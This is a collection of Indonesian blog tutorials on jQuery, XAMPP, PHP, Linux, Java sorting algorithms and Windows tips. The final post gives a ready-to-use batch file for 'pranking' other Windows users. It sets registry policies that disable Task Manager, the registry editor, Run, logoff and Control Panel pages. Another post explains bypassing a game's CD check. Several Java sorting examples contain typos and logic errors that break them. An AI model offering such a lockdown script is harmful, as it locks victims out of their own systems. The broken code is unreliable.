Me-Load Halaman Tanpa Refresh Dengan JQuery

Melanjutkan dari posting memasang jquery kali ini kita buat tutorial me-load halaman tanpa refresh sehingga browser hanya load pada daerah tertentu saja pada bagian web yang di refresh tanpa harus me-load ulang semua tampilan web sehingga bisa meminimalisir penggunaan bandwidth.
Cara ini sama jika dengan jika anda menggunakan Javascript / AJAXkarena JQuery sendiri adalah perkembangan dari Javascript dan AJAX.

JQuery sendiri adalah kumpulan AJAX yang digabungkan menjadi sebuah kerangka yang siap digunakan oleh pengembang web newbie tanpa harus mengetahui Javascript secara mendalam.

Yang dibutuhkan dalam coding kali ini cuma memasang jquery kemudian sedikit pengetahuan dari javascript.
Langsung saja contohkan dalam html.
Dalam hal ini kita akan meload sebuah text dalam file text.html dan ditampilkan di file index.html tanpa harus meload seluruh halaman webnya.
Kode file index.html


Cara Memindahkan DocumenRoot https XAMPP

Pernahkan anda ingin memindahkan dokumen root https di XAMPP?
Walaupun ini tidak begitu penting tapi saya hanya ingin share ilmu aja tentang cara memindahkan root https di XAMPP. https sendiri adalah sebuah protokol dimana data yang dikirim dan diterima melewati Socket Secure Layer (SSL). Sebelum dikirim, setiap data yang akan melewati SSL ini akan dienkripsi terlebih dahulu sehingga isi data tersebut relative aman sampai pada komputer tujuan.

Di paket program XAMPP sendiri kita bisa menggunakan protokol https untuk akses localhost atau komputer di jaringan yang menggunakan web server dari paket program XAMPP. Akan tetapi browser akan menampilkan peringatan karena certificate untuk https sendiri tidak valid atau tidak dikeluarkan oleh perusahaan resmi seperti Verisign, godaddy, Thawte, dll.

Untuk memindahkan dokumen root https dari defaultnya (di folder htdocs installasi XAMPP) anda hanya perlu melakukan beberapa langkah berikut:
Pertama, buka file bernama httpd-ssl.conf , file ini berada di folder \XAMPP\apache\conf\extra\. anda bisa membukanya dengan notepad, notepad++, atau program pembaca text lainnya.
Untuk konten bagian atas dari httpd-ssl.conf biarkan saja tidak usah dirubah, kemudian pada SSL virtualhost anda akan menemukan konfigurasi yang lumayan panjang seperti berikut.

Mengapa Tampilan Web Berbeda Di Tiap Browser

Pernahkah anda membuat sebuah halaman web? Semisal format halaman webnya adalah html. Kemudian kita buka di browser firefox, lalu buka di IE, kemudian buka di opera. Jika desainnya cukup kompleks akan terjadi perbedaan di browser tersebut. Mengapa demikian? kenapa tampilan web di setiap browser berbeda?.

Apa Bedanya Dan Penggunaan POST dan GET Di PHP

Method POST dan GET pada php atau pada pembuatan aplikasi web sangat sering digunakan yaitu untuk mengirim data dari client ke server untuk diolah dan dikembalikan ke client menjadi sebuah informasi.
Pengiriman data tersebut biasanya berupa formulir(form) yang kemudian di kirim dengan menggunakan method POST atau GET.
Perbedaan keduanya memang sangat tipis tapi jelas dapat terlihat. Method GET mengirimkan data dengan menambahkannya pada URI. Sedangkan Method POST dikirim ke server dengan disertakan dalam sebuah permintaan (body of request) dan bukan melalui URI Dan hasil dari permintaan dengan metode POST ini tidak bersifat cacheable.
Contoh sebuah file form.html akan mengirimkan data pada file action.php dengan menggunakan method POST dan GET.

Contoh dengan menggunakan method GET
Kode program form.html


Memulai Skrip PHP

Sudah sering saya memposting Tutorial paket aplikasi web server XAMPP, sekarang mari kita mulai belajar skrip php. Untuk memulai kita dari skrip sederhana saja menampilkan informasi php yang anda pakai.
Sebelum memulai, ada beberapa cara untuk menampilkan skrip php akan tetapi jangan lupa semua cara tersebut hanya akan berfungsi pada file dengan extensi php (.php).
Untuk menampilkannya anda dapat menggunakan cara-cara berikut.

cara pertama:
<?php
      Script PHP anda
?>
cara pertama ini adalah cara standar yang banyak digunakan dan secara default support untuk semua versi php mulai dari awal hinggal yang terbaru.

cara kedua:

<?
     Script PHP anda
?>
cara kedua mirip cara pertama cuma tidak ada tulisan php, untuk versi php terbaru beserta paket aplikasi secara default juga sudah support. namun perlu diingat untuk versi dulu, dan mungkin pada beberapa paket aplikasi web server, cara ini tidak support secara default dan harus di konfigurasi manual di php.ini untuk mengaktifkannya.

Membuat Localhost Lebih Dari Satu Dengan XAMPP Di Linux

Jika pada posting sebelumnya saya membahas Mengenai membuat virtual host dengan XAMPP di Windows, sekarang saya akan membahas membuat virtualhost dengan cara yang sama mungkin ada sedikit perbedaan.
Sebelum memulai tutorial, saya memberitahukan bahwa saya menggunakan paket aplikasi XAMPP dan bukan yang lain kemudian sistem operasi yang saya pakai di linux adalah ubuntu. Untuk aplikasi dan sistem operasi yang lain, tutorial dapat berjalan cuma anda cari sendiri ya ^^.
Sama seperti yang sebelumnya, pertama kita daftarkan nama virtualhost yang akan kita gunakan sebagai nama lain dari loopback interface / localhost.
file yang kita edit adalah "hosts" di folder /etc/ awas jangan salah "hosts" yang pake "s" karena ada 2 file di folder tersebut.
Seperti biasa karena linux menggunakan pengamanan maka kita buka lewat terminal dengan menggunakan text editor.
untuk membukanya dari terminal kita ketik

sudo gedit /etc/hosts (tekan enter)

Jika sudah akan muncul text editor gedit dengan konten dari file hosts. sebagai contoh berikut.

Perkembangan Web V 1.0 , 2.0 dan 3.0

Saat saya diberikan tugas mengenai perkembangan web dari versi 1.0 ke 2.0 saya cukup kesulitan karena saat saya mencari di google rata-rata contennya sama dan membingunkan, gak tau apakah hasil translate atau gimana tapi isinya tidak dapat saya mengerti. saat mencari di wikipedia pun tidak memberi informasi yang lengkap hanya sejarah awal dari website sampai sekarang bisa online dan dibuka diseluruh dunia.
Untuk anda yang punya tugas atau hanya sekedar ingin tau perkembangan mari kita bahas sedikit ilmu yang saya ketahui. ^_^
Mari dimulai dari hal yang keci-kecil dulu.

Definisi Website
Secara terminologi, website adalah kumpulan dari halaman-halaman situs, yang biasanya terangkum dalam sebuah domain atau subdomain, yang tempatnya berada di dalam World Wide Web (WWW) di Internet. Sebuah halaman web adalah dokumen yang ditulis dalam format HTML (Hyper Text Markup Language), yang hampir selalu bisa diakses melalui HTTP, yaitu protokol yang menyampaikan informasi dari server website untuk ditampilkan kepada para pemakai melalui web browser. Semua publikasi dari website-website tersebut dapat membentuk sebuah jaringan informasi yang sangat besar.

Membuat Localhost Lebih Dari Satu Dengan XAMPP Di Windows

Untuk anda web developer, jika bosan dengan localhost untuk memanggil nama loopback interface atau komputernya, sebenarnya anda bisa mengganti namanya misal menjadi situs.net, mysite.net atau apapun yang anda inginkan.

Kali ini saya akan memberikan sedikit tips untuk membuat virtualhost sehingga bisa menggunakan nama-nama situs untuk memanggil loopback interface. Tapi perlu anda ingat walau namanya bisa seperti situs di internet, tapi kontentnya tetaplah milik webserver lokal alias localhost.

Dengan virtualhost ini selain bisa mengganti nama localhost, juga bisa lebih dari satu misalnya situs.net dan mysite.com juga memanggil localhost tapi pada lokasi root direktorinya berbeda sehingga anda bisa mencoba seolah-olah file itu sudah di hosting di internet.

Yang pertama yang perlu disiapkan, saya akan memberi tutorial dari XAMPP, jadi pakailah XAMPP karena untuk paket applikasi yang lain atau dengan apache aslinya saya tidak terlalu tahu apakah tutorial ini akan berhasil atau tidak, tapi kalau mau silakan coba-coba sendiri. ^^

Oke jadi intinya yang pertama install paket webserver XAMPP kalau belum punya silakan download dulu di http://www.apachefriends.org/en/xampp-windows.html Setelah didownload trus di install terserah mau di letakan dimana folder installasinya asal jangan lupa saja.


Memasang JQuery Di Web

Kali kita berbagi ilmu mengenai memasang JQuery di Website, kalau blog saya belum coba tapi sepertinya bisa tapi agak ribet edit template nya ^^ jika mau coba sendiri ya.
Saya hanya akan membagi cara memasangnya saja, jika anda sudah mahir ya mohon maaf, tapi jika anda newbie ya kembangin sendiri ya.
Sebenarnya JQuery sendiri adalah kumpulan dari AJAX yang dibuat fungsi sedemikian hingga agar mudah digunakan orang tanpa perlu tahu asal usul scriptnya bagaimana tapi dengan fungsi-fungsi yang cukup mudah maka tinggal melakukan pengembangan saja.
JQuery ini karena AJAX maka dapat bekerja pada halaman web yang berbasis html, untuk memulai pertama kita download dulu Jquerynya di http://jquery.com/ untuk versinya ada 2 yaitu minified, dan uncompressed. minified yaitu JQuery yang hanya menggunakan efek-efek yang perlu saja dan banyak di pakai kebanyakan developer web. Sedangkan untuk versi uncompressed itu untuk developer advance dan bisa dikembangkan lagi.
Saran saya jika anda developer baru sebaiknya menggunakan JQuery Min karena ukurannya yang kecil sehingga cepat waktu proses load, kemudian juga efeknya yang kita butuhkan dan bisa juga digabungkan dengan JQuery Plugin lainnya. Tapi jika anda developer advance ya pakai saja yang uncompressed karena disediakan debug script.
Memulai Membuat scriptnya, pertama kita load dulu JQuerynya yang telah di download tadi, jangan lupa lokasi menyimpannya ya ^^ sebagai tambahan anda juga dapat meload JQuery dari Googleapi tapi jika anda punya koneksi internet Online dengan alamat http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js
sebagai contoh untuk load jquery
<script type="text/javascript" src="js/jquery.min.js" ></script> untuk load dengan menempatkan JQuery di local disk
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" ></script> untuk load JQuery secara online dari situs google.

Membuat Server Repository Sendiri

Sebenarnya ini tutorial yang sudah banyak dipost, tapi kali ini saya post dengan cara dan pengalaman saya sendiri.
Cara ini bukanlah cara resmi dan lazim untuk membuat Server Repository tapi jika kita gunakan jaringan kecil kan sayang bandwidth kalo misalnya semua koneksi ke internet trus download source yang sama, seperti untuk update. kemudian jika anda punya cd/dvd repository tapi bingung menggunakannya mari kita coba explore bersama-sama ^_^ .
Saya tidak tahu apakah cara ini bisa dipakai oleh semua linux atau tidak karena saya hanya mencoba pada linux Ubuntu ^_^
Pertama yang kita butuhkan adalah software-software penunjang seprti webserver (apache atau yang lainnya) kemudian dpkg-dev dan softwarenya tentunya yang bingung cara makenya :D


Membuat Read More Pada Blogger

Tutorial lama tapi mari kita pelajari, Tidak seperti dulu yang sedikit membuat sendiri fungsi agar ada read more, baca selengkapnya atau yang lainnya, tapi kali ini kita gunakan fasilitas read more yang sudah ada di blogger yang bernama "Jum-Break".
Fungsi jump-break sendiri sudah ada sejak lama entah anda menyadarinya atau tidak, tapi untuk penggunaannya akan secara otomatis bila menggunakan template standar yang disediakan oleh blogger. Jika anda suka ganti-ganti template atau edit-edit sendiri atau malah buat sendiri, mungkin perlu di tambahkan sedikit kode biar bisa terintegrasi dengan jump break blogger.

Membuat Koneksi Broadband Di Linux

Untuk membuat koneksi jelas bukan hal yang sulit dan banyak yang sudah membagikan apalagi di forum-forum linuxnya. Saya hanya membagikan sedikit pengalaman kali saja bermanfaat buat semuanya.
Untuk membuat koneksi broadband memang mudah hanya tinggal klik kanan network manager, kemudian pilih edit connection - > pilih tab mobile broadband lalu klik add.
Letak dari network manager sendiri di linux tergantung OS dan user interface yang digunakan. Semisal ubuntu defaultnya di kanan atas dekat panel volume.

Memberi Akses Pada Beberapa File Di Linux

Untuk memberi akses file pada sebuah file dan folder di linux anda bisa memberikan akses dari CLI(Command Line Interface) dengan perintah chmod +x dan seterusnya karena terlalu panjang dan saya jarang memakainya jadi saya tak ingat (^_^) atau menggunakan angka contoh sudo chmod 777 namafile atau folder dan bisa juga lewat GUI-nya.

Tapi pada suatu kejadian yang saya alami saya meng-copy file dari drive windows kemudian saya eksekusi pada linux ubuntu kemduian file tersebut menjadi error kemudian setelah selidik di selidiki ternyata setelah saya klik kanan properties, hak aksesnya menjadi no body atau kosong dan pilihan eksekusi file tidak di centang, kemudian saya beri hak akses baca dan tulis serta mencentang bolehkan eksekusi program maka program itu bisa dieksekusi.

Selain itu saya juga pernah meng-copy file-file web php yang sudah saya simpan dalam satu folder kemudian saya copy ke root direktori webserver di Linux ternyata saat running folder saya tidak ada pada daftar. Lalu saya dengan manual menuliskan nama foldernya dan yang terjadi malah access forbidden alias dilarang mengakses.
Saat saya selidiki lagi ya ternyata sama dengan kejadian pertama akses menjadi kosong dan pilihan boleh mengeksekusi program tidak dicentang. Setelah saya beri akses baca dan tulis serta mencentang pilihan eksekusi program bisa folder dapat dibaca tapi masalah selanjutnya adalah saat web server mengeksekusi file php, juga terjadi access fobidden.

Enable Curl PHP di Linux

Beberapa aplikasi web seperti API facebook atau yang lainnya memerlukan curl PHP untuk membaca data, tapi sayangnya curl ini merupakan extensi tambahan di luar dari PHP atau bahasa pemograman yang lain.
Dalam kasus yang satu ini saya menggunakan paket program XAMPP for Linux atau bisa disebut LAMPP tapi seperti biasa default tidak mengaktifkan curl untuk PHP nya. Saat saya aktifkan php extensions nya justru malah error.
Pada XAMPP for Windows mungkin cukup mudah untuk mengaktifkan Curl PHP ini kita tinggal edit php.ini yang berada di folder /xampp/php/ lalu edit file tersebut cari php_curl.dll dan kebetulan cuma ada satu kemudian anda tinggal hilangkan komentarnya sehingga yang tadinya
;extension=php_curl.dll
menjadi
extension=php_curl.dll
lalu simpan dan restart apache anda. Jika anda menggunakan XAMPP yang agak versi lama anda perlu cek juga folder /xampp/apache/ jika disitu terdapat file php.ini juga, maka edit juga file itu sama seperti contoh diatas.

Kemudian dalam kasus saya, saat saya menghilangkan komentar tersebut justru keluar pesan error saat menjalankan lampp. ternyata extenstion tersebut untuk windows karena untuk unix dan turunannya menggunakan library berekstensi .so, saat saya mencari tutorial kebanyakan harus menginstall aplikasi curl terlebih dahulu.
Kemudian setelah pencarian agak panjang (sebernarnya sih gak ^_^) saya menemukan juga caranya. ternyata tidak sulit hanya perlu menginstall php5-curl (Saya gunakan LAMPP 1.7.4 jadi menggunakan php versi 5).
Karena saya menggunakan Ubuntu jadi perintahnya cukup mudah tinggal anda pastikan daftar software anda telah up to date lalu install seperti biasa

sudo apt-get install php5-curl


dan ternyata penginstallan ini langsung terintegrasi juga dengan LAMPP saya


Instalasi SQL Server 2000 Personal Edition Pada Windows XP

SQL server sendiri ada versi Enterprise dan juga Personal. Untuk versi Enterprise anda harus memiliki embel-embel server pada OS anda seperti Win 2003 Server atau yang lainnya. Atau jika Win anda original anda bisa tanya-tanya ke customer service di amerika agar bisa diinstall di win non-server. Tapi kali ini saya hanya akan membahas menginstall versi Personal saja.

Untuk menginstal SQL Server 2000 Personal Edition berikut caranya.
Jika anda memiliki versi dalam CD maka tinggal masukan CD-nya tunggu tampilan autorunnya, jika anda mematikan autorun anda harus men-setupnya dari explorer.
Apabila anda anda hasil mendownload mungkin perlu anda extrac dulu dan mencari setupsql.exe pada hasil extrac sampai muncul seperti  gambar berikut.
Gambar 1

Memainkan MotoGP2 PC Tanpa CD

Sebenarnya sih cuma trik lama yang sudah banyak bertebaran di internet tapi lumayan buat nambah-nambah trafik ^_^
Ok langsung saja untuk anda yang belum tahu cara memainkan game MotoGP2 (versi PC) tanpa harus memasukan CD ataupun virtual disk ini sedikit triknya.
Sebenarnya game MotoGP ini mencari file yang namanya elf.42 untuk running sehingga tidak heran kalau dia selalu minta insert CD untuk running. Cara mengatasinya cukup sederhana yaitu dengan copy file tersebut ke local disk sebagai contoh file elf.42 tersebut biasanya di copy satu folder dengan gamenya contoh "C:\Program files\MotoGP2\" misalkan saja kita copy ke situ. Apakah sudah bisa running tanpa CD? belum karena kita harus edit registrynya pertama buka menu run lalu ketik regedit. setelah masuk Registry Editor cari key berikut "HKEY_LOCAL_MACHINE\SOFTWARE\THQ\MOTOGP2".
Kemudian didalam situ ada value nama nya "CDPath"  lalu modif value dan ganti lokasi tempat kita menyimpan file elf.42 tadi sebagai contoh "C:\Program files\MotoGP2". Jika sudah tinggal close deh regeditnya lalu kalau tak yakin reject CD MotoGP lalu double klik game MotoGP nya dan selamat menikmati bermain MotoGP 2 tanpa CD.

Troubleshooting Komputer

Pengertian Troubleshooting Komputer
Troubleshooting Komputer maksudnya adalah segala sesuatu masalah yang berhubungan dengan komputer. Segala masalah pasti ada sebabnya dan tentu ada cara penyelesaiannya. Untuk permasalahan dengan Software sebaiknya Anda lakukan pendeteksian sederhana dahulu seperti pemeriksaan file-file yang berhubungan dengan Software atau spesifikasi permintaan (requirement) dari Software. Apabila permasalahannya cukup rumit, sebaiknya Anda install ulang saja Software tersebut, karena akan terlalu rumit untuk memperbaiki sebuah Software, sedangkan untuk permasalahan dengan Brainware kami sarankan baca kembali manualnya atau anda cari-cari referensi lain dari internet.

Teknik Troubleshooting
Ada 2 teknik untuk mendeteksi permasalahan dalam komputer yaitu Teknik Forward dan Teknik Backward. Untuk lebih jelas mari kita bahas dulu keduanya.
  1. Teknik Forward
Sesuai dengan namanya, maka dalam teknik ini segala macam permasalahan dideteksi semenjak awal komputer dirakit dan biasanya teknik ini hanya digunakan oleh orang-orang dealer komputer yang sering melakukan perakitan komputer. Pada teknik ini hanya dilakukan pendeteksian  masalah  secara  sederhana  dan  dilakukan  sebelum  komputer  dinyalakan (dialiri listrik). Untuk mempermudah silakan simak contoh berikut :
  •  Setelah komputer selesai dirakit, maka dilakukan pemeriksaan pada semua Hardware yang telah terpasang, misalnya memeriksa hubungan dari kabel Power Supply ke soket power pada Motherboard.
  •        Untuk casing ATX, kita periksa apakah kabel Power Switch sudah terpasang dengan benar.
  •  dsb.
  2. Teknik Backward
Hampir sama dengan teknik sebelumnya, teknik Backward adalah teknik untuk mendeteksi kesalahan pada komputer setelah komputer dinyalakan (dialiri listrik). Teknik lebih banyak digunakan karena pada umumnya permasalahan dalam komputer baru akan timbul setelah “jam terbang” komputernya sudah banyak dan ini sudah merupakan hal yang wajar. Dapat kita ambil beberapa contoh sebagai berikut :
  •  Floppy Disk yang tidak dapat membaca disket dengan baik.
  •  Komputer tidak mau menyala saat tombol power pada casing ditekan.
  • dsb.

Manusia Membaca per Kata bukan Huruf

Tahukah anda?
bhawa mnauisa mmebcaa per ktaa dan bkuan per hruuf.
Dapatkah anda membaca kalimat diatas?
Jika bisa berarti otak anda masih normal belum mengalami gangguan jiwa he..
Saya pernah diberitahu orang bahwa manusia dapat membaca per kata dan bukan perhuruf.
Maka tidak aneh jika ada tulisan salah pada buku atau yang lainnya kita secara otomatis akan dapat membacanya atau membetulkannya asal huruf depan dan belakangnya tidak berubah dan sesuai bahasa yang kita pahami tentunya. sekarang coba baca.

Atruan Hruuf Dlaam Ktaa Tiadk Penitng
Murenut sautu pelneitian di Uinervtisas Cmabridge, atruan hruuf dlaam ktaa tiadk penitng.
Ckuup huurf petrama dan trekahhir ynag ada pdaa tepmatyna. Siasyna bsia dtiluis bernaatakan, teatpi ktia daapt mebmacayna. Ini dsieabbkan kaerna oatk ktia tdiak mebmcaa huurf per hruuf, nmaun ktaa per ktaa. Laur bisaa kan?

sekarang coba dalam bahasa inggris.

fi yuo cna raed tihs, yuo hvae a sgtrane mnid too
Cna yuo raed tihs? Olny 55 plepoe out of 100 can.

i cdnuolt blveiee taht I cluod aulaclty uesdnatnrd waht I was rdanieg. The phaonmneal pweor of the hmuan mnid, aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it dseno't mtaetr in waht oerdr the ltteres in a wrod are, the olny iproamtnt tihng is taht the frsit and lsat ltteer be in the rghit pclae. The rset can be a taotl mses and you can sitll raed it whotuit a pboerlm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Azanmig huh? yaeh and I awlyas tghuhot slpeling was ipmorantt! if you can raed tihs you are garet : the cohsen 55 of 100 poersn.
Bagaimana bisa gak? kalau tidak bisa jangan-jangan anda tidak bisa bahasa inggris lagi  (hehe..).

Salah satu pendapat tentang hal itu menyatakan bahwa menurut teori ‘asociative memory’ otak banyak bekerja dengan cara mengasosiakan suatu informasi dengan informasi yang lain yang sudah tersimpan. Kemampuan membaca kalimat yang salah letak tersebut dikarenakan otak kita merekonstruksi kata tersebut dengan ingatan yang sudah terdapat dalam otak kita. Dengan demikian, bila menemui kata baru maka bisa tetap mengalami kesulitan baca, atau terjadi salah mengartikan.

Dalam membaca cepat kemampuan mengenali kata adalah hal mendasar. Ketika Anda melihat sekumpulan huruf lewat mata dan mengirimkannya ke otak, maka akan ada proses pengenalan terhadap kata-kata tersebut terlebih jika Anda pernah mengenal kosa kata itu sebelumnya. Itu mengapa orang yang rajin membaca memiliki kecepatan yang relatif lebih cepat dibandingkan orang yang jarang baca karena kekayaan kosa kata yang telah dimiliki sebelumnya. Bila Anda banyak berlatih kosa kata baru, kemampuan baca anda juga akan meningkat.
Semoga Bermanfaat.

Powered by Danz

InsertionSort Dengan Java

Kali ini saya akan memberikan contoh Insertion Sort dengan program Java. kira-kira seperti ini contohnya.
Kode diantara tanda sama dengan(=)

InsertionSort.java
====================================================

public class InsertionSort{
public static void main(String[] args){
int[] angka = {7,5,3,10,6,8,1};
        int i, j, temp;
        System.out.println("Sebelum diurutkan :");
        for(i=0;i < angka.length;i++)
            System.out.print(angka[i]+" ");
        System.out.println("\nProses pengurutan :");
        for(i=1; i < angka.length; i++){
         temp = angka[i];
             j = i-1;
             while(j > =0 && temp < angka[j]){
               angka[j+1] = angka[j];
                j = j-1;
             }
angka[j+1] = temp;
            for(int k=0;k < angka.length;k++)
                System.out.print(angka[k]+"\t");
            System.out.println();
        }
        System.out.println("Setelah diurutkan :");
        for(i=0;i < angka.length;i++)
            System.out.print(angka[i]+" ");
}
}

====================================================

Jangan lupa simpan file dengan nama InsertionSort.java lalu compile dan run.
Semoga berhasil dan sedikit membantu.

Powered by Danz

SelectionSort Dengan Java

Kalo yang lalu memposting tentang bubble sort dengan java kali ini saya posting program selection sort dengan java. Jadi kira-kira seperti ini contohnya. Kode berada diantara sama dengan(=)

SelectionSort.java
==============================================

public class SelectionSort{
public static void main(String[] args){
int[] angka = {7,4,6,2,5,8,1};
        int i, j, temp,tampung;
        System.out.println("Sebelum diurutkan :");
        for(i=0;i < angka.length;i++)
            System.out.print(angka[i]+" ");
            System.out.println("\n");          
      
        for (i=0; i < tangka.length-1;i++){
            int minindek=i+1;
            for(j=minindek+1;j < angka.length;j++){
                if(angka[j] < angka[minindek])
                    minindek=j;
            }
 if(angka[minindek] < angka[i]){
                tampung=angka[i];
                angka[i]=angka[minindek];
                angka[minindek]=tampung;
        }        
        for(int k=0; k < angka.length;k++)
                System.out.print(angka[k]+"\t");
                System.out.println();            
      }      
        System.out.println("Setelah diurutkan : ");
        for(i=0; i < angka.length;i++)
            System.out.print(angka[i]+" ");

}
}
==============================================


Jangan lupa simpan file dengan nama SelectionSort.java lalu anda compile dan run.
Semoga berhasil dan sedikit membantu.

Powered by Danz

Bubble Sort Dengan Java

Sedikit tutorial mungkin untuk tugas sekolah atau kuliah pemograman tentang cara sorting dengan algoritma bubble sort. Kode diantara tanda sama dengan (=)

BubbleSort.java
========================================================
public class BubbleSort{
public static void main(String[] args){
int[] angka = {4,2,1,6,8,7};
int i,j,k,temp;
System.out.println("Sebelum diurutkan :");
        for(i=0;i < angka.length;i++){
            System.out.print(angka[i]+" ");
        }
        System.out.println("\n");
            for(i=1; i < angka.length-1;i++){
             System.out.println("Iterasi "+ i);
         for(j=angka.length-1;j > =i; j--){
         if(angka[j] < angka[j-1]){
         temp = angka[j];
                    angka[j] = angka[j-1];
                    angka[j-1] = temp;
             }
             for(k=0;k < angka.length; k++){
System.out.print(angka[k]+"\t");
             }
             System.out.println();
            }
}

System.out.println("Setelah diurutkan :");
        for(i=0; i < angka.length;i++)
            System.out.print(angka[i]+" ");
}
}
========================================================

Jangan lupa save file dengan nama BubbleSort.java lalu compile dan run.
Semoga Membantu dan bermanfaat.


Powered by Danz

Setting Java Di Windows

Tidak seperti di Linux bila kita install java developmen kit atau sering disingkat jdk di windows tidak otomatis bisa melakukan compile (javac) disembarang tempat.
Tetapi itu bisa kita setting secara manual agar proses compile alias javac bisa dilakukan di mana saja yang kita inginkan.
Caranya adalah pertama anda harus install dulu java versi jdk, jangan versi jre karena versi jre tidak bisa melakukan compile java.
Yang kedua setelah install java versi jdk, klik-kanan mycomputer -> properties. Lalu klik Advanced system settings lalu klik Envinronment variables..
Disini anda akan melihat 2 bagian, yang atas user variables for ..  dan yang bawah system variables. kita abaikan yang atas kita konsentrasi di bagian bawah yaitu system variables. pada system variables carilah variable yang namanya "Path" jangan path yang lain tapi harus "Path" saja tidak ada tambahannya lalu double klik variable tersebut.
Kemudian akan muncul dialog Edit system variable, pada value variable tuju ke akhir baris (bisa dengan tombol end) lalu beri titik koma diakhir(;) , lalu masukan lokasi tempat kita menginstall jdk, contoh : C:\Program Files\Java\jdk1.5.0_21\bin  . Dan folder haruspada bin karena di folder tersebut ada file javac.exe yang merupakan compilernya java.
Jika sudah klik OK, lalu klik OK lagi, dan Klik OK lagi. Setelah itu buka command promp(cmd), jika anda sudah membuka cmd maka close dulu untuk mengambil efek dari setting lalu buka kembali cmd.
Sekarang ketik javac, bila berhasil maka akan muncul keterangan panjang bukan lagi "javac not recognized.."
Selamat mencoba dan semoga berhasil.

Powered by Danz

Download Virtualbox Guest Additions

Untuk yang pake Virtualbox sebagai virtual machine dan butuh download guestAdditions atau mau download virtualbox yang up to date, dapat didownload pada link berikut http://download.virtualbox.org/virtualbox/ lalu pilih dah versi berapa yang anda perlukan.
Selain guest addition pada link tersebut juga dapat mendownload virtualbox terbaru versi terbaru baik yang stable maupun yang masih versi beta dan tersedia dalam beberapa platform seperti linux deb, rpm, kemudian untuk windows dan Mac OSX juga tersedia.
Semoga Membantu

Powered by Danz

Menghapus Folder Autorun.inf Dari Smadav

Saat kita menancapkan Flash kita pada komputer sendiri atau teman yang menginstall Antivirus Smadav, maka biasanya secara otomatis smadav ini akan menghapus file autorun.inf dan menggantinya dengan folder yang bernama autorun.inf.
Saat dihapus folder autorun.inf ini tidak bisa karena didalam folder tersebut ada subfolder yang namanya con.
Jika anda menggunakan sistem operasi non-windows itu mudah untuk menghapusnya seperti di linux atau mac tinggal tancap flash disk lalu delete folder autorun.inf. Namun, disistem Operasi Windows folder bernama con ini tidak bisa dihapus lewat explorer. Untuk itu jika anda ingin menghapus folder autorun.inf anda harus menghapusnya dari command promp.
caranya seperti biasa ke menu run lalu ketik cmd, atau dari accesories.
Pertama biar tidak bingung masuk dulu ke drive Flash contoh g
G:(enter)
lalu hapus folder con dan isi conten serta folder autorun.inf
rmdir autorun.inf\con\
rmdir autorun.inf

Semoga berhasil dan membantu


Powered by Danz

Block Autorun.inf Masuk Flash Disk

Banyaknya virus membuat Flash disk menjadi salah satu media penyebaran.
Untuk anda pengguna OS non-Windows bisa nyantai-nyantai aja, tapi untuk anda pengguna windows ini sangat riskan.
Banyak virus banyak memanfaatkan autorun.inf untuk menginstallkan diri ke komputer, untuk memblok berikut tips mengamankannya.
Buka command promp bisa dengan masuk menu run kemudian ketik cmd atau dari start->All Programs->Accesories.
Masuk ke drive falsh anda misalkan di drive G


ketik G: (enter)
Lalu buatlah folder bernama autorun.inf, lalu masuk ke folder autorun.inf dan buatlah folder bernama con.
md autorun.inf
cd autorun.inf
md con\

cara ini hanya dapat dilakukan di command promp karena di explore tidak dapat membuat folder bernama con.
Semoga membantu.


Powered by Danz

Kerjai Orang Dengan Program Batch

Mari kita kerjai orang yang pake windows khususnya dengan merubah sedikit registry nya dengan program bat.
Yang perlu anda lakukan adalah buka notepad, kemudian ketik atau copy paste juga bisa kode dibawah ini.
(kode sebelum dan setelah sama dengan ya.)
=======================================================================
@echo off
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispCPL" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispAppearancePage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispBackgroundPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispScrSavPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispSettingsPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoNetSetup" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoSecCPL" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoAdminPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoProfilePage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoPwdPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoConfigPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoFileSystemPage" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoRun" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDevMgrPage" /t REG_DWORD /d "1" /f
